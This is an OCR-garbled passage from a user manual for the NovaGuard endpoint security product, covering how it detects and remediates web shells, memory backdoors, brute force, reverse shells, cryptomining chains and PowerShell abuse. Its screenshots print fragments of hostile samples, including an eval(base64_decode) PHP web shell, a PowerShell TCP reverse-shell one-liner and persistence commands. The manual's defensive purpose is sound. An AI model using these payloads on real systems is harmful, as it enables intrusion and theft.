1hits Pending
1 hits Pending
1hits Pending
1nits Pending
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Click View Details to view the event details.

Event Details - WebShell X
i A file )e618af5270a1b1746171cbf0904bc78.p... (LTl [ wsk m Fix | Morev
Last Detected  2025-07-14 09:31:10 (Manager Time) Detections 3 Status Pending
First Defected  2025-07-13 00:02:58 (Manager Time) ATTSCK  Persistence FixMethod -
Switch to Server Time EventlD  0ac3c9d4-dadf-491d-aac2-1c972132075¢

Alert Analysis Remediation

File Path 18af5270a1b174617 .php Description
File MD5 0e618af5270a1b 174617 1cbf0904bc78 (@Threat Inteligence .8, Download WebShell Sample | Proof

File Size 93 KB Affected Asset
File Group root

Confidence High

File Permission  rw-r—r—
Time Created ~ 2025-03-17 16:37:22 (Server Time)

Last Updated  2025-03-17 16:37:22 (Server Time)

@ Forensics

<?

# Konfigurasyon

$sayfaSifreleme ='1"; # 1 acik , 0 kapali
SkullaniciAdi = ‘tolizuga’;

Ssifre = 'asa123456",

Malicious code segment detected in web backdoor files

© o wn -

21 eval("?>"base64_decode("PDIwaHANCmVycmoyX3. 4GIuZyg3KTSNCKBZZXRMWFnaWNfcXVvdGVzX3J 1bnRpbWUOMCKTL

Previous Next Close

Click Fix to fix the threat entity or the compromised endpoint.

Switch to Server Time EventlD  ec62e296-28c3-4efc-8e54-7ee001903a0c

Alert Analysis Remediation
| Threat Entity
File
Asset 5
File Name File Path File MD5 Time Created Asset Info St Status Operation
Iroot/webshell/ 5adcb5872128  2025-05-21 A10.74.40.1 Quarantine File Threat Intelligence
5.aspx # Online Pending
5.aspx 328bcbbbOf1.... 15:59:35 localhost loc. Go to Response
Compromised Endpoint
Asset Info Asset Status Owner Status Operation
A 1074.40.133
* Online - Pending Isolate Go to Response

localhost localdomain

| Recommendations

Impacts

The endpoint is likely to be controlied by hackers, who may send malicious commands using the reverse shell of the compromised endpoint to launch further attacks. This
may cause the following impacts:

1. Confidential information may be stolen, such as classified files, usernames and passwords of key assets.

2. The endpoint may be implanted with a persistent backdoor, which is used for cryptomining or intranet penetration.

3. The endpoint may be used to attack other LAN endpoints to obtain more intranet data.

Recommendations

Event Details - WebShell X
m A Webshell file /root/webshell/5.aspx was found on the endpoint [l [E] wsk Fix More v
Last Detected  2025-07-14 09:31:10 (Manager Time) Detections 3 Status Pending
First Detected  2025-07-13 00:02:58 (Manager Time) ATT&CK  Persistence Fix Method -
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Click Threat Intelligence to visit ForeNova Threat Intelligence for web shell

identification.

Results of 0d0acBd15d865d804ac6ded1bbb23247 Switch Repont  Win7 SP1 &4bit -

wry @ 0d0ae8d15d865d804ac6de91bbb23247 8

Fi @ Threat Type:
A J

@ virus Family: ()

Threat Type @ Sandbox Environment: Windowsi) 7. Prof

& Feedback [c]

Dynamic Analysis Time: 202
Download PCAP

Filename:  GdBaesd! Sds65dEacedes
Type:

Size: 232.00%8

Restart Analysis

MDS:
SHAT:

SHA 256:

000D @

208 Ve VA e I ZXHUZHEL TPV

SSDeep:

D]

Click Go to Response. You will be redirected to the Detection and Response >

Response page to view event logs.

File Quarantine

Expot | Refiesh FiePan - | footwebshalise X Q
Tme Fiad Fio Patn s Event D Assatinto Foing Staus Quarsnine Method Opertor Remarks Operation
20250714

tineoshali 2 Quarantinsd Manual i
11834

4.2.1.3 Memory Backdoors

Scans and monitors endpoints in real time for memory backdoors via the

NovaGuard agent.

Memory backdoors are mainly detected on endpoints.

Memory Backdoors

Click View Details to view the event details.
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Event Details - Memory Backdoor X
P Java.Godzilla was found on the memory of the process (java) Elwmsi Fix More
Last Detected  2023-10-13 21:20:26 (Manager Time] Detections 1 Status Pending
First Defected  2023-10-13 21:20:26 (Manager Time) ATTC&CK Command and Confrol  Fix Method -
Switch to Server Time Event|D  cO72fl40-T9ic-4a93-8700-T1850d4ced04 5
Alert Analysis Remediation
| Deseription | Description
Java Godzilla was found on the memary of the process (java) Proof
Affected Asset
| Proof
Process
Process Name  java a
Process ID 11397
Process User  root
Process Start
2023-10-13 21:24:49 (Server Time)
Time
Process File
g 04358a05374809ab50a7defb0M8b69b El &, Download Memory Blocks
Process Path  frootijdk1.8.0_301/binjava &1
Command {rootijdk1 8.0_301/binfjava -jar froot/msi_samplefjavalcicd_test_galjar irootmsi_samplefjaval 5]
2 Forensics
51 final Object invoke = this.invoke(list.get(i), "getPipeline”, (Object{linuil);
52 i (invoke 1= null) {
53 Object 0 = this_invoke{invoke, "getFirst”, (Object{linull);
54 while {0 != null) {
i gment detected in web backdoor
Click Fix to fix the threat entity or the compromised endpoint.
Event Details - Memory Backdoor X
a Java Godzilla was found on the memory of the pracess (java) sl Fix WMore v

Last Detected  2023-10-13 21:20:26 (Manager Time)

First Detected  2023-10-13 21:20:26 (Manager Time)
Switch to Server Time

Alert Analysis Remediation

| Threat Entity

Process

Process Name Process ID Process Path Command

frootfjdk1.8.0_301/bi

java . A
nfjava -jar froot/msi.

11397

binfjava

Compromised Endpoint

Asset Info Asset Stalus Owner

A 10645129
debian

® Offline =

I Recommendations

Impacts

1. Confidential information (e.g., confidential documents. key asset info) may be stolen.
2. Attack vectors on the endpoint may be used for cryptomining or attacking other LAN endpaints

Recommendations

Detections 1
ATTCECK

Event ID

Status

Command and Control  Fix Method

Pending

cO72ff40-797c-4a%a-87bd-71350d4ccd0d 5

Process File MD5 Status
04258ad5374809a05
Pending
0a7defb0b2b6ab
Status
Pending

Operation

Black Pr

Go to Response

Operation

Go to Response

The endpoint is likely to be controlled by hackers, who may execute arbitrary commands on the endpoint to upload or download files. This may cause the following impacis:

41 mmmte dhe afa el manees mrameils anarail e Terinm man b imelantad theaink Sl anlnad ar s dling dnninad samtant 1 s imnlanad theaimi samnan e with
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Click Go to Response. You will be redirected to the Detection and Response >

Response page to view event logs.

Process Blocking

Epot  Refiesh Assetlp v Q

Time Fixed Assatinto Process Pan Foing Status Block Method Operator Remarks

4.2.1.4 Brute-Force Attacks

NovaGuard can detect brute-force attacks against Remote Desktop Protocol

(RDP), Server Message Block (SMB), Microsoft SQL Server, and SSH services.

Brute-Force Attacks

Click View Details to view the details of a brute-force attack event, including

the source IP address, destination IP address, time when the attack was
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detected, number of attacks, and whether the attack is successful.

Event Details - Brute-Force Attack

o
Jioly Brute-force attacks from

Brute-force attacks against ... .. ... on the endpoint 1

was found [E) anpe
Last Detected  2025-07-14 16:37:52 (Manager Time) Detections
First Detected  2025-07-14 16:37:52 (Manager Time) ATT&CK
Switch to Server Time EventID
Alert Analysis Remediation
| Description

3 from SSH was found

Source IP Brute-Force Attacks: 3, Failed
SSH Brute-Force Attack
l; 10.7... (@ Threat Intelligence Brute-Forced Account: -
| Proof
Attack Info
Export
No.  First Detected @ Last Detected © Source IP Username
2025-07-14 2025-07-14 rodt
16:37:52 16:37:52
1 entries in total 1
| Affected Asset
Endpoint
Affected A + (localhost localdomain) Endpoint Ungrouped Assets
Assets Group
Next Close

3 Status Pending
Credential Access Fix Method -
66e1cb98-621c-4915-9c31-11c45e0bded 1G]
Description
Proof
Affected Asset

Affected Asset

=

Only show successful attacks
Successful Attack Attempts

No 3

Entries per Page 20
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Click Fix to fix the threat entity or the compromised endpoint.

Event Details - Brute-Force Attack

N

foi Brute-force attacks from - 5 was found [E)] ANDE m Fix More v
Last Detected  2025-07-14 16:37:52 (Manager Time) Detections 3 Status Pending
First Detected  2025-07-14 16:37:52 (Manager Time) ATT&CK Credential Access FixMethod -
Switch to Server Time

Event ID 66e1cb98-621¢-4915-9c31-11c45e0b4ed 1 5]

Alert Analysis Remediation
| Threat Entity
Attacker IP
Attacker IP Status Operation
Address Blocking Threat Intelligence
Pending
Go to Response
Compromised Endpoint
Asset Info Asset Status Owner Status Operation
A
* Online - Pending Isolate Go to Response
localhost localdomain
| Recommendations
Impacts
Brute-force attacks consist of an attacker many p: or with the hope of

guessing correctly. Such attacks may cause the following i
mpacts:

Legal risks: In most cases, brute-force attacks are illegal, which may lead to criminal charges and fines.
Security risks: The system may be hacked, which may lead to sensitive information theft or system damage.

Reputational risks: If an individual or organization is found to conduct brute-force attacks, they may be condemned by the public, affecting their reputation and credibility.
Recommendations

Change the port of the victim endpoint to one that is not commonly used and configure an access whitelist.

| Ramadiatian Nataile M

Next Close

Click Go to Response. You will be redirected to the Detection and Response >
Response page to view event logs.

Address Blocking

D Refers

Bt Refresh

sesatie - | 4 s xQ - E 7 E -
s Fied Drsctin Protocol Bockaa P BockedPot  EventType BlockDuraton Event D sosatinto FongStaus  BockMetod  Operstor Remares Operston
2025-07-14 H 1

p—— Inbourna o any ButoForca AL Permanent aossabontsz. O © Biocken Manua samin

Unblock

4.2.1.5 Suspicious Logins

NovaGuard can detect suspicious login from unusual times or uncommon IP

addresses. It can also detect suspicious login events on Windows endpoints
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(including PCs) via RDP or SMB and those on Linux endpoints via SSH.

Suspicious Logins

Export

| No. | LastDetected Severity  Login P Login Name

202507-14

G A View Datails

More v
Adress

Click View Details to view the details of a suspicious login event, including the

login IP address, protocol, login name, destination IP address, login time,

number of occurrences, and recommendations.

Event Details - Suspicious Logins b
E The endpoint ( 3) had suspicious logins [EZE0 [E] ANDE Fix More v

Last Detected  2025-07-14 17:02:54 (Manager Time) Detections 2 Status Pending

First Detected  2025-07-14 17:02:54 (Manager Time) ATT&CK Initial Access Fix Method

Switch to Server Time EventID e2ac0ffc-578b-4480-a218-b1fbe3772201 5]
Alert Analysis Remediation
| Description | Description
The endpoint (v 3) had suspicious logins (username: root, IP address: * ) at 2025-07-14 17:01:23. Login Type: SSH Proof

Affected Asset
Login IP 2025 4 2 Endpoint IP
root Login via SSH
L ! : | (@ Threat Intelligence = ! I

| Proof

Login Rule When Event Occurred Go

Rule Type Rule Detail

Common Login IP Address

1 entries in total Entries per Page 10 Page

First Login

Login IP e Login Name root

Login Time 2025-07-14 17:01:23 (Server Time) Service Type SSH
| Affected Asset

Endnnint

Close
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Click Fix to fix the threat entity or the compromised endpoint.

Event Details - Suspicious Logins

X
ES The engpoint ( 3) had suspicious logins [EZ3 [E] ANDE Fix More v
Last Detected ~ 2025-07-14 17:02:54 (Manager Time) Detections 2 Status Pending
First Detected ~ 2025-07-14 17:02:54 (Manager Time) ATT&CK Initial Access Fix Method

Switch to Server Time Event ID e2ac0ffc-578b-4480-a218-b1fbe3772201E)

Remediation

| Threat Entity
Attacker IP
Attacker IP Status Operation
Address Blocking Threat Intelligence
Pending

Go to Response

Compromised Endpoint

Asset Info Asset Status Owner
a1

Status Operation

® Online

Pending Isolate Go to Response
localhost.localdomain

| Recommendations
Impacts

The endpoint is likely to be controlied by hackers, who may execute arbitrary commands on the endpoint to launch further attacks. The detailed impacts are as follows:
1. Confidential information may be stolen, such as classified files, usernames and passwords of key assets.

2. The endpoint may be implanted with a persistent backdoor, which is used for cryptomining or intranet penetration.

3. The endpoint may be used to attack other LAN endpoints to obtain more intranet data.

Recommendations

1. Check whether it is caused by business operations
2. If the login behavior is abnormal, change the login password of the endpoint promptly.

| Ramadiatinn Nataile

Close

Click Go to Response. You will be redirected to the Detection and Response >

Response page to view event logs.

Address Blocking

) Refers to blocking intiound and outbound networks access 1o prevent both inermal and extemal attack trafic
Expot | Refresh AssetiP v xQ
Time Fixed Direction Protocol Blocked 1P Blocked Port Event Type BlockDuration  Event D, Assatinfo Fixing Status Block Method Operator Remarks Operation
20250714 A =
oot Inbound tep any Suspicious Lo...  Permanent 66307244960, ” © Blocked Manual admin

Unblock

4.2.1.6 Suspicious Scans

The NovaGuard agent can actively and passively detect the port scanning
activity. The agent-installed endpoint can actively detect the port-scanning

activity and detect the port-scanning activity from other endpoints toward the
agent-installed endpoint.

Version 02 (Jul. 18, 2025) 105



NovaGuard_V6.0.4R4_User Manual

Suspicious scans will be reported automatically once detected without

requiring manual configuration.

Suspicious Scans

Click View Details to view the details of a suspicious scan event, including the

source IP address, target endpoint and port, time when the scan was detected,

number of occurrences, and recommendations.

Event Details - Suspicious Scanning

X
”
F The endpoint (10.62.7.105) is launching a scanning attack against another en. [ anoe Fix WMore »
Last Detected  2023-10-14 10:23:42 (Manager Time) Detections 1 Pending
First Detected  2023-10-14 10:23:42 (Manager Time) ATTCACK Discovery
Swiich to Server Time Event ID 5721f[:94-7BZZ—dDTR-ﬁDBG—‘\‘ieG?ﬁBSDSZ@
Alert Analysis Remediation
| Descriptien | Description

The endpaint (10.62.7.105) is launching a scanning attack against another endpoint (171.203.107.49). Proof

Affected Asset

sreIP Target IP

Active Scannin;
ER 10627105 g ER 71202107.40

| Proof
Port Info
No. SrclP Target IP Scan Port Scans
1 10.62.7.105 171.203.107 49 22 1
2 10.62.7.105 171.203.107 49 23 1
3 10.62.7.105 171.203.107 .49 443 1
4 10.62.7.105 171.203.107 49 444 1
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Click Fix to fix the compromised endpoint.
Event Details - Suspicious Scanning X
6" The endpeint (10.62.7.105) is launching a scanning attack against another en [ AnDE Fix More ~

Last Detected  2023-10-14 10:23:42 (Manager Time) Pending

First Detected  2023-10-14 10:23:42 (Manager Time) Discovery
Switch to Server Time Event ID 5721fc04-7022-4072-ab96- 112674185052 5]

Alert Analysis Remediation

| Threat Entity
Compromised Endpoint

AssetInfo Asset Status QOwner Status Operation

A 10627105

Online = Pending Isolate Go to Response
localhost localdomain

| Recommendations

Impacts

Scanning atiacks is a method used by malicious actors to launch cyber attacks by scanning for open ports, vulnerabilities, and other weaknesses that can be exploited in a
network. Such attacks may cause the following impa

1. Network congestion: Scanning attacks will occupy bandwidth and system resources, causing network congestion and performance degradation.

2. Security vulnerabilities: Vulnerabilities of endpoints in a network may be found and exploited, causing security events such as data leak and system crashes.
3. Unauthorized access: Attackers may exploit open ports or vulnerabilities to gain unauthorized access
attacks

to the target endpoint and obtain sensitive information or launch further

Recommendations

As there is scanning in the environment, please adjust firswall rules to block scanning

| Remediation Details

Click Go to Response. You will be redirected to the Detection and Response >

Response page to view event logs.

Asset Isolation

10627105 xQ

Time Fixed Assetinfo Growp Status Acton Fxed By Operation

4.2.1.7 Advanced Threats

Scenario

In response to emerging threats and attack-defense scenarios, such as
ransomware attacks and phishing emails exploiting office networks to breach
internal systems, NovaGuard can, by leveraging Indicator of Attack (I0A) rules,
detect abnormal behaviors such as ransomware and phishing (for details, see
MITRE ATT&CK framework, which outlines adversary tactics and techniques
such as fault injection, credential stealing, and permission escalation).

NovaGuard swiftly generates security alerts when detecting threats or attacks
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and blocks high-risk activities. Furthermore, NovaGuard traces the process
chain responsible for initiating an attack, consolidates all related abnormal
behaviors into a precise security event, and helps identify the source of the
attack and any startup items created in the operating system for

comprehensive removal.

Example:

The following is an example of detecting and handling cryptomining, which
illustrates the features of Advanced Threats.

During routine O&M, the security administrator observes some suspicious
activities flagged by the Advanced Threats service of NovaGuard. These
activities include cryptomining attacks, account activations, and creating

suspicious files, as shown in the following figure.

Security Event  EventMode  Alert Mode [B] Hion contence Event Detecton ana Remedit

QU Severty. Crcal, High, Medium x  Status: Pending x  Event Tag: Pishing Atlack.Web Inruson, Malicious Virus, Other x  Time: Last 30 days x ~ Exchuded Alets: Hide:

G

LastDetected TmeFoes | Rea

20231018

w810

2031018 oG Eains

0850:10 ot Puiing.

20231018 T

08.00:08 105 £ PR .

2023-1048 I0C Engine - View Details  In-Depth A

LA 10 Enaine Pending - View Detis | n Dep

20231018 06 Engine % S

0620:09 L Pending

231018 (oG Engine ang

20230 10¢ Engi Poncing

Fo ol IOC Engine - View Dete In-Dept
b LA 10¢ Engi Pencing View Datss | InDepth A
o T 231018 0C Engine a S
: BN s Vs oA 100 Engi Ponang E View Datis | I Depth A

On the Event Mode tab, the administrator finds a security event of critical
severity, as shown in the following figure. NovaGuard has consolidated various

suspicious activities into a complete attack event.

Soverty Last Det aTTaCK @ Endpoint Detacton Source @  Status TmoFiied  Realtma Protacton @ Threat nteligence | -
o 2023-10-14
pe1074.103 10C Engine
: A0 n @ 10.74.103.18) 9 Pending

On the Event Mode tab, the administrator finds multiple hits within the

ATT&CK matrix, as shown in the following figure.

iecurity Event | EventMode  Alert Mode [E] an Confisence Event Detection and Remedti

E

Q Severy: Crtcal, Hign, Medum x  Siatus: Pending x ~ Event Tag: Phishing Aftack, Web Inrusion, Malicious Virus, Other x

10A Exclusions || Reffesh

‘Severity Endpoint Stat Time d Realt @
° DAy petoza10a Fenaing
251014 — o
o 2z BvnreLAsET 10 Engine Pening Detis | n-Dept
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The attack hits multiple tactics within the ATT&CK matrix, including execution,
persistence, defense evasion, credential access, discovery, command and

control, and impact.

ATTSCK™ Matrix @
Tctes'3 e Techiaues: 3

Comman ana scr. Ootuscated Flls or|. Aopicaton Layer Pr.

After clicking View Details, the administrator can check the involved threat

entities and alerts.

Details

(High  The endpoint was implanted ... Pending ~ More -

Event Tag: il Malicious Virus Not Supported

o Threat Entity(No virus files detected)

@ Hignez) PN

The endpoint was implanted with a malicious virus of lemon...

Event Tag Commandand Confrol ... ATTECK: Application Layer Protocol

Domain: v.beahh.com Occurrences 2

Source: oc Process: C:\Windows'System32\WindowsFow. .
First Detected: 2023-10-14 05:20:32 Last Detected: 2023-10-14 05:20:44

The endpoint was implanted with a malicious virus of lemon...

Event Tag Command and Conirol ... ATTECK: Application Layer Protocol
Domain: v.beahh.com Occurrences: 1
Source: IoC Process: C\Windows\System3a2\WindowsPow ..
First Detected: 2023-10-14 04:30:32 Last Detected: 2023-10-14 04:30:32
Low(2) ~

Q) info(se) v
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After clicking In-Depth Analysis, the administrator can trace the complete
attack chain.

e
6(

disable Windows conducted

1. Attack entry

The attacker accessed the testing machine through a remote desktop login and
released the attack sample emulator.exe. After the sample is executed, the
beacon.exe file and a process are automatically created.

< ‘
= files und registry to disable Event Status st

2. Create suspicious task plans to carry out persistent attacks
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The beacon.exe creates the schtasts.exe process and creates suspicious task

pla

<]
c undera

ES

= schtasks.exe

ns through the schtasts.exe process to carry out persistent attacks.

thre...

& regi disable Windows anti-
e

3. Execute confusing PowerShell commands to bypass security

protection and carry out the attack
The beacon.exe creates a powershell.exe process to bypass security protection

and carry out the attack by executing confusing PowerShell commands.

Create undera gi
& o8

@
& Module Loading(s)

4. Detect host users to collect information
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The beacon.exe creates the svchost.exe process and calls the command cmd

/c quser to detect host user information to achieve information collection.

Create susp undera g
o O Basics

N

5. Activate a host guest user to achieve a persistent attack
The beacon.exe creates the svchost.exe process and calls the command net
user guest guest /active to activate the host guest user to carry out a persistent

attack.

oo
é'c

6. Create a suspicious firewall bypass list via netsh
The beacon.exe creates the svchost.exe process and calls the netsh command

to add firewall whitelist rules and establish suspicious connections in an
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attempt to bypass firewall security protection.

7. Check the permissions of the current user and gather sensitive

information
The beacon.exe creates the xmrig.exe file and a process, calls the cmd /c
whoami command to check the current user's permissions, and gathers

sensitive information.

<]
N : e, I

.3 [

8. Download a mining virus for mining
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beacon.exe creates xmrig.exe files and processes, and calls bitsadmin.exe to
download a mining virus for mining.

&

9. Handling of attacks

Through the traceability analysis of the above process attack chain, the
conclusions are as follows:

The testing machine is infected with a mining virus. The attack sample
emulator.exe created the malicious files beacon.exe and xmrig.exe, and
launched multiple processes to complete attacks such as execution,
persistence, defense evasion, credential access, detection, and command and

control.

The handling method is as follows:
e Isolate the malicious files emulator.exe, beacon.exe, and xmrig.exe.

Qe
b e ity to disble Windowsan-vissofwarean conductd tter ... LA "

e Isolate the endpoint without affecting the business and avoid the horizontal

spread of the threat.
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e ) ] ) " - Mark Event Status ~
€ Create suspicious files under a startup directory;Tamper Defender registry to disable Windows anti-virus software and conducted other thre... [ v cvncsas | “

& Legend v

o

explorerexe [

emulatorexe

o @

e Perform a full investigation, kill the endpoint with the threat detected, and

remove the remaining items.

a) The attacker obtained permissions and injected the virus via RDP
access/brute-force attacks. Therefore, the following security enhancements are
recommended:

i. Disable unnecessary remote ports.

ii. Enable RDP secondary authentication and brute-force attack protection on

NovaGuard.

iii. Install system security patches in time.
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4.2.1.8 Reverse Shells

A reverse shell is a malicious activity in which the victim's host actively connects

to applications on the attacker's server.

Reverse Shells

Q  Severity: Critical, High, Medium x  Status Pending X Event Tag: Phishing Attack, Web Intrusion, Malicious Virus, Other x  Excluded Alerts: Hide
KA ExcludedIOAs ~ Refresh | High Confidence Event Protection Policies [ ‘Show high confidence events only
Severity Event Tag Special Tag Last Detected -  Description ATT&CK @  Endpoint Name Detection S0 Status Time Fixed Realtime Prote. Threat Intelligenc -+
O e Loca Prviege Escaa 20250744 FleModiyand o locahostiocaico.. | (OAERgine . penang ~ - Not Suppored  view Detals -

Click View Details to view the event details.

Details

) Wec Create suspicious remote co... In-Depth Analysis [- Pending ~ More

Event Tag; = Execution Not Supported

@ hreat Entity(No virus files detected)

€Y Wedium(1) ~
Create suspicious remote connections by PowerShell Add Exclusion View Details
Event Tag: Execution ATTECK: Command and Scripting Interpr..
Source: I0A Time Detected 2023-10-21 11:26:44
View Details X

B ATT&CK: Command

Relationships A

A Process ... cmdexe
Process ... C\Windows\System32icmd.exe

Comma... CAWindows\System32icmd.exe

E  Process .. powershell exe
Process ... C\Windows\System32\WindowsPowerShellw1.0\powershell exe

Comma... powershell -nop -c "Sclient = New-Object System_Net Sockets TCPClient("192.168.20.76' 8888);5str
eam = Sclient. GetStream(); [byte[liSbytes = 0..65535]%{0};while((3i = Sstream Read(Sbytes, 0, Shy. .
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Click More > Isolate to isolate the endpoint.

Details
) medium  Create suspicious remote co... in_Depth Analysis [7] Pending - More ~
:  Execution Not Supported
Event Tag: Not Supported ATTRCK
-
o Threat Entity(No virus files detected)
A =

3 Medium(1) -~
Create suspicious remote connections by PowerShell Add Exclusion View Details
Event Tag: Execution ATTECK: Command and Scripting Interpr...
Source: 10A Time Detected: 2022-10-31 11:26:44

4.2.1.9 Remote Command Execution

Remote Command Execution breaches business systems via Remote

Command Execution vulnerabilities, enabling attackers to inject commands or

code directly into backend servers.

Epot | v

Aflacted Assat

Engne Detectons & ATTACK @ status Fix Msthod Operstion
Assets status

v No. | LestDetected

o268

20231031
Tmozaz

<onne  [usi B 2ne Poncing
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Click View Details to view the event details.

Details
Y vedivm  Memory Trojan;Execute syst... In-Depith Analys Pending v More ~
Event Tag: [Initial Access Persisience Memory Trojan Not Supported

@ hreat Entity(No virus files detected)

) wedium(z) ~

Memory Trojan

Event Tag: Persistence | Memory Trojan ATTACK: Create or Modify System Process
Type: Listener Process: C\Program Files\Tomcat\apache-tom. .
Engine: MS! Engine Time Detected: 2023-10-31 10.57:06

Memory Trojan

Event Tag: Fersistence | Memory Trojan ATT&CK: Create or Modify System Process
Type: Listener Process: c\program files\tomcatiapache-tomea
Engine: MSI Engine Time Detected 2023-10-31 10:46:38

Q© nfo(1) v

Click More > Isolate to isolate the endpoint.

Details
Y wedium  Memory Trojan;Execute syst... In-Depth Analysis Pending ~ More ~
Event Tag: Initial Access Persistence Memory Trojan Not Supported

ATTACK

olate
@ mreat Entity(No virus files detected) _

Y wedium(2) ~

Memory Trojan

Event Tag: Persistence Memory Trojan ATTECK Create or Modify System Process
Type Listener Process: C:\Program Files\Tomcatiapache-tom..
Engine: MSI Engine Time Detected: 2023-10-31 10:57:06

Memory Trojan

Event Tag: Persistence Memory Trojan ATTECK: Create or Modify System Process
Type: Listener Process: c\program files\torncatiapache-tomca. ..
Engine: MSi Engine Time Detected: 2023-10-31 10:46:38

© mfo11) v
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4.2.1.10 Local Privilege Escalation

Local privilege escalation is an activity that involves elevating users' privilege

with every low or restricted privilege to high or even root-level privilege.

Events B & secunty engines ar
® HsOverdew | Last30Gays. | 20221001 To 2023100 Refeshevery 105~ | O
Detection Response
Aected Assets
Status FixMethod
moiic 0
=it = =] = £
62 Medium 0
Total e 1" 62 62 0
o Endponts read ang
£ @ 0 0 B
usp 0 @ 0 Rer
Export || Wnteiss 7 Atienton Settings Show unvead events ony | Show cticalassets any
No. | LastDetected severty | T Descrpt ot e Detect ATTaCK @ st Fixetnod
0. | LastDetoct overty | Type escrption i = ine etections s o Metho
20231010 Local Prwiege o2
PS8 SientCieanup scheduled task executed fo bypass UAC om Elioa [RT Pending

105801 Escalaton

Click View Details to view the event details.

Details
SilentCleanup scheduled tas... In-Depth Analysis [} Pending ~ More ~
EventTag: Privilege Escalation Not Supported

@) reat Entity(No virus files detected)

Low(1)

SilentCleanup scheduled task executed to bypass UAC Add Exclusion  View Details

Event Tag: Privilege Ezcalation ATTECK Abuse Elevation Control Mecha.

Source: 10A Time Detected: 2022-10-19 10:55:55
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Click More > Isolate to isolate the endpoint.

Details

EventTag: Privilege Escalation Not Supp

@ mhreat Entity(No virus files detected)
Low(1)

SilentCleanup scheduled task executed to bypass UAC

Event Tag: Privilege Escalation ATTECK:

Source: 10A Time Detected

4.2.1.11 PowerShell Execution

SilentCleanup scheduled tas... Pending ~ More -

ATTECK

Isolate

Add Exclusion  View Details

Abuse Elevation Control Mecha..

2023-10-19 10:55:55

PowerShell threats employ unusual attacking techniques that are difficult to

detect, aiming to infect endpoints with viruses and cause damage.

PowerShell Execution

Pending Fixed

Refresn

No.  Threat Infected Endpoint Agent Status. Owner. Process

Powershell scrips exe.
# 2 DESKTOP-02H99IG ® Oniine

Suspicious fileless attack

PowerShell scripts exe.

2 Guspiious ke stk = DESKTOP-02HS9IG ® onine Cwindowsisystem32uwindo

AgentStatus ¥ Status ~ | LastDetected | Endpoint name, IP, owne

Parameter Last Detected Status Operation
Proces. 2025074193943  Pending © Block ¥

Powershell exe Get-NetipAd. 20250714 19:39:27  Pending © Block ¥
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Click the name of a threat to view the details of the relevant event, including

the infected endpoints, process, parameters, and time detected.

Details x

Threat Information

Threat Type Suspicious fileless attack

Execution Method PowerShell scripts execution

Details

Infected Endpoints: DESKTOP-02H99IG (1 oy

Process c:\windc ystem32\windowspc 1.0\powershell.exe
Parameter. Powershell.exe Start-Process calc Copy

Detection Information

Security Engine: Fileless Attack Detection Engine
Detection Method Realtime Protection
Time Detected 2025-07-14 19:39:43

Malware and Trojan usually use PowerShell script to hide themselves in order to evade

Close

Click Block to block the current process.

Block X

Are you sure you want to block this suspicious process execution?
Process: c\windows\system32\windowspowershelliv1.0\powershell.exe

Also Block execution of process with same commands on the endpoint

Select Also block execution of process with same commands on the

endpoint to prevent subsequent execution of processes with the same

PowerShell parameters.

4.2.2 Target Endpoints

Go to Detection and Response > Target Endpoints and click Asset Alerts to
view all risky endpoints. Click the name of an endpoint to enter the Endpoint
Security Details page, where you can fix the relevant security events and

isolate the endpoint, as shown in the figures below.
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Targeted Endpoints  Asset Alerts

T Targerea Encpoints G W compomsed igh o @ isotes
Refresh AgentStatis ¥ EndpontType ¥ Group v last7oays -
No. | Endpoint Name Growp Ouner Severty Securly Events Agent Status Pendng - Last Detected Operation
1 locainost localdomain Ungrouped A [ Compromisea ¥ Advanced Thieats | | Trojan ® onine 3% 0250714185842  Isoiate
€ Endpoint Security Details Refres!
localhost.localdomain CentoS Linux 7 (Core) &b Ungrouped Assets
9 Isolated Endpoints
B Maare @ Ransomware 1 Backdoors U] a iy " "
Refresh
identification Status v Status v EnvionmentType v  FileType v Severity v TheatType v LastDetected v ViusName v
No. | Securty Event Identfication Resul Infected Entity Last Detected Status Operation
ojan —
1 Unidentified Ir0OUWEDSNEN9000.php 20250710 12.44:32 Pending © Fx v Anayze
2 Unidentified o0t weDShellS999.php 20250710 12:44:32 Pending © Fx
3 Unidentified 00 WeDShEl/OCIOAEEB10D1246BA24DB88TEAAGFIED, . 2025-07-10 12:44:32 Pending ©Fx v Analyze
4 Unicentiied frootwebshel/1234.php 20250710 12:44:32 Pending © Fix  ~ Anayze
5 Unidentified rootwebshell2222.php 2025.07-10 12:44:32 Pending © Fx
6 Unidentified Irootwebshell1236.php 20250710 12.44:32 Pending ©Fx v Anayze
Tr
7 Unidentified Irootwebsell9998. php 20250710 12:44:32 Pending © Fix

Risky endpoints are classified into the following three levels by severity:

« Compromised: Endpoints involved in critical threats and high-severity viruses,
threats, WebShell backdoors.

e High: Endpoints involved in medium-severity viruses, threats, and brute-
force attacks.

e Low: Endpoints involved in low-severity viruses, WebShell backdoors, and

suspicious PowerShell executions.

You can filter endpoints by endpoint status, endpoint type, group, last
detection time, endpoint name, or IP address as an administrator. For example,
to fix security events for online endpoints only, you can filter endpoints by

selecting Online for Endpoint Status.

You can isolate a detected risky endpoint. An isolated endpoint is restricted
from accessing any network, ensuring no impact on business assets. You can

also restore an isolated endpoint, as shown in the following figure.
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Targeted Endpoints Asset Alerts

a
®

B TargeteaEndponts @

Refresh AgentStats ¥ EndpointType ¥ | Group v Last7days

No.  Endpoint Name Agent Status Group. Owner Action Blocked IP Blocked Port  Period Time Fixed Administrator Status. Operation

1 localnost localdomain @ Oniine Ungrouped Endpointso...  All Al Permanent 2025-07-1419:2258  AthenaEPPAJM... Quarantined <& Restore

4.2.3 Threat Hunting

Suppose you have known or obtained new threat intelligence from external
sources. In that case, you can search for relevant information using simple
combined conditions, such as IP address, domain name, and behavior. This
allows you to initiate threat hunting across all endpoints in your network and
identify endpoints and processes with potential threats, thus helping you

detect new threats or possible risks in the network.

4.2.3.1 Search with a Single Condition

Search with a single condition includes search by domain name, network

connection, executable file hash value, or file name.

1. Search by Domain Name:
Enter one or more domain names separated by commas (,) to search for
devices and activities communicating with the specified domain names. Fuzzy

search using the wildcard (*) is supported.

Example: Use the domain names related to the Emotet virus to query
potentially infected endpoints and the processes communicating with the
Emotet domain names.

Search statement: vidriodecoracion.com,varivoda.com,wakan-
tanka.com,white-on-rice.com
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The query result is shown below.

3 online endpoints searched and 0 matches found from o endpoints. ®

No. Endpoint Name Process Name Process File MDS Process Path Startup CMD. Domain Visits

2. Search by IP Address:

Enter one or more IP addresses separated by commas (,) to search for
endpoints with the network connection to/from the specified IP addresses and
the corresponding processes.

Example: Use the IP addresses related to the Emotet virus to query potentially
infected endpoints and the processes communicating with the IP addresses.

